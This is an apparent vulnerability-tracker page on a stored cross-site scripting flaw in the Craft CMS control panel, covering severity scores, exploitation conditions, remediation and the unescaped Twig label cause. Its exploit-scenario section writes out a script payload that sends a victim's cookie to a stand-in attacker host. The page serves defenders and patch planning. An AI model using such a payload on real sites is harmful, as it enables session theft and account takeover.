Skip to main content

Craft CMS EUVDEUVD-2026-38159

| CVE-2026-56393 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-21 VulnCheck GHSA-f95g-vm94-46c3
4.6
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attain Craft CMS admin credentials
  2. Delivery
    Confirm allowAdminChanges is enabled in target config
  3. Exploit
    Inject XSS payload into a settings name or field option label via admin UI
  4. Execution
    Victim admin or editor navigates to a control panel page rendering the poisoned label
  5. Persist
    JavaScript executes in victim's browser session
  6. Impact
    Steal session token or perform actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two explicit preconditions: (1) the attacker must hold administrator-level access to the Craft CMS control panel, and (2) the allowAdminChanges configuration option must be set to true - Craft CMS's own security documentation recommends disabling this in production environments, making it a non-default production configuration. Additionally, a victim user (administrator or editor) must navigate to a control panel page that renders the poisoned label (e.g., the Entries field sources checklist for a poisoned section name, or the user permissions page for a poisoned user group name). Deployments with allowAdminChanges = false cannot be exploited at the injection phase. Non-admin users who cannot access admin settings pages are not at risk as attackers. The attack is fully contained within the Craft CMS control panel and does not affect the public-facing site.

Impact

The CVSS 4.0 score of 4.6 with PR:H (high privileges required) and UI:A (active user interaction) accurately reflects the constrained attack path: exploitation requires administrator credentials plus a victim admin or editor navigating affected pages. Critically, the allowAdminChanges configuration option must be enabled - Craft CMS's own security guidelines explicitly recommend disabling this in production, meaning many production deployments are architecturally protected at the injection point. EPSS data was not provided. No CISA KEV listing exists, indicating no confirmed mass exploitation. A PoC is present in the GHSA advisory but the upstream changelog self-classifies this as low severity. The net risk profile is primarily relevant to multi-admin environments where a malicious or compromised admin targets other control-panel users - a privilege escalation / lateral movement scenario within the CMS admin tier, not a remotely exploitable unauthenticated attack.

Exploit ScenarioDerived

A malicious or compromised administrator injects a JavaScript session-stealing payload into a section name (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) via /admin/settings/sections. When a second administrator or editor opens the Entries field configuration and views the sources checklist - which renders section names via the unescaped {{ label|raw }} Twig filter - the payload executes in their browser, exfiltrating their Craft CMS session token to the attacker. A proof of concept for this flow is documented in GHSA-4mgv-366x-qxvx.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

Stored XSS in Craft CMS 4.x and 5.x allows an authenticated administrator to persist malicious JavaScript payloads in settings fields - section names, volume names, user group names, global set names, generated field names, checkbox/radio option labels, and custom source labels - that execute in other users' control-panel browser sessions when those pages are visited. The attack surface spans seven distinct injection points across the admin settings UI, all sharing the same root defect in Twig template rendering. No public exploit identified at time of analysis, though a proof of concept is documented in the upstream security advisory GHSA-4mgv-366x-qxvx, and the upstream CHANGELOG characterizes the severity as low.

RemediationAI

Upgrade Craft CMS 4.x installations to 4.17.0-beta.1 or later, and 5.x installations to 5.9.0-beta.1 or later; these are the first versions containing the fix per confirmed package metadata and patch commits at https://github.com/craftcms/cms/commit/943152d2246b36f12adf161a03b8695b773d9276 and https://github.com/craftcms/cms/commit/67780a778c6ec04e68e64a0b1177c168306144a2. Note that both fix versions are beta releases - verify your organization's tolerance for pre-release software before deploying. As an immediate compensating control, set allowAdminChanges = false in the Craft CMS production configuration, which blocks the injection-phase entirely; the trade-off is that settings changes must be made in a development environment and deployed, preventing in-place admin configuration of production systems. Restricting admin access to trusted personnel also limits the blast radius, as only users with admin credentials can inject payloads.

Affected VersionsENISA

CMS 4.0.0-RC1 <4.17.0-beta.1
CMS 5.0.0-RC1 <5.9.0-beta.1

Affected Packages

composer craftcms/cms fix: 4.17.0-beta.1, 5.9.0-beta.1
euvd cms fix: 4.17.0-beta.1, 5.9.0-beta.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability class is CWE-79 (Improper Neutralization of Input During Web Page Generation). Craft CMS uses the Twig templating engine for its control panel, where the |raw filter intentionally disables HTML auto-escaping to allow trusted HTML content. The flaw arises because user-controlled settings names and field option labels were passed through {{ label|raw }} in src/templates/_includes/forms/checkbox.twig and radio.twig, as well as via JavaScript helpers Craft.ui.createCheckbox() and Craft.ui.createSelect() in the compiled cp.js asset. These rendering paths treated stored setting names as trusted HTML rather than plain text. The CPE cpe:2.3:a:craftcms:cms:*:*:*:*:*:*:*:* applies to the Composer package craftcms/cms across both major version lines. The fix replaces {{ label|raw }} with {{ label }} (auto-escaped) and introduces an explicit opt-in mechanism (raw() wrapper or labelHtml property) for intentional raw HTML labels.

Know when Cms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 4.6 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 4.8 MEDIUM

Admin credentials required (PR:H), victim must visit affected control panel page (UI:R), and payload executes across user sessions triggering a scope change (S:C).

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
Active
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Craft CMS 4.x (>= 4.0.0-RC1, < 4.17.0-beta.1) and 5.x (>= 5.0.0-RC1, < 5.9.0-beta.1) contain multiple stored cross-site scripting vulnerabilities where settings names and field option labels are rendered without sanitization (e.g., via the checkbox.twig template, which used {{ label|raw }}). An authenticated administrator (with allowAdminChanges enabled) can inject malicious payloads into section names, volume names, user group names, global set names, generated field names, checkbox/radio option labels, and custom source labels, causing arbitrary JavaScript to execute in other users' control-panel sessions. Fixed in 4.17.0-beta.1 and 5.9.0-beta.1.

Threat Intelligence Overview

EPSS Score
0.2%
Top 92% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +23
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Cms

View all
CVE-2020-7357 CRITICAL POC
9.9 Aug 06

Cayin CMS suffers from an authenticated OS semi-blind command injection vulnerability using default credentials. Rated c

CVE-2012-4405 MEDIUM
6.8 Sep 18

Multiple integer underflows in the icmLut_allocate function in International Color Consortium (ICC) Format library (iccl

CVE-2021-47753 CRITICAL POC
9.8 Jan 15

phpKF CMS 3.00 Beta allows unauthenticated PHP file upload by disguising it as a PNG, then renaming it for execution. Po

CVE-2019-9874 CRITICAL POC
9.8 May 31

Deserialization of Untrusted Data in the Sitecore.Security.AntiCSRF (aka anti CSRF) module in Sitecore CMS 7.0 to 7.2 an

CVE-2019-9875 HIGH POC
8.8 May 31

Deserialization of Untrusted Data in the anti CSRF module in Sitecore through 9.1 allows an authenticated attacker to ex

CVE-2026-113358 HIGH POC
8.7 Oct 20

Unauthenticated file disclosure in LavaLite CMS through 10.1.2 allows remote attackers to download private stored files

CVE-2026-56382 HIGH POC
8.6 Jun 21

Authenticated remote code execution in Craft CMS versions 5.5.0 through 5.9.13 allows admin users to execute arbitrary P

CVE-2012-5894 HIGH POC
7.5 Nov 17

SQL injection vulnerability in hava_post.php in Havalite CMS 1.1.0 and earlier allows remote attackers to execute arbitr

CVE-2012-5893 MEDIUM POC
6.8 Nov 17

Unrestricted file upload vulnerability in hava_upload.php in Havalite CMS 1.1.0 and earlier allows remote attackers to e

CVE-2015-2083 MEDIUM POC
6.8 Feb 25

Cross-site request forgery (CSRF) vulnerability in Ilch CMS allows remote attackers to hijack the authentication of admi

CVE-2012-5919 MEDIUM POC
4.3 Nov 19

Multiple cross-site scripting (XSS) vulnerabilities in Havalite 1.0.4 and earlier allow remote attackers to inject arbit

CVE-2025-5429 MEDIUM POC
6.3 Jun 02

A security vulnerability in juzaweb CMS (CVSS 6.3). Risk factors: public PoC available.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy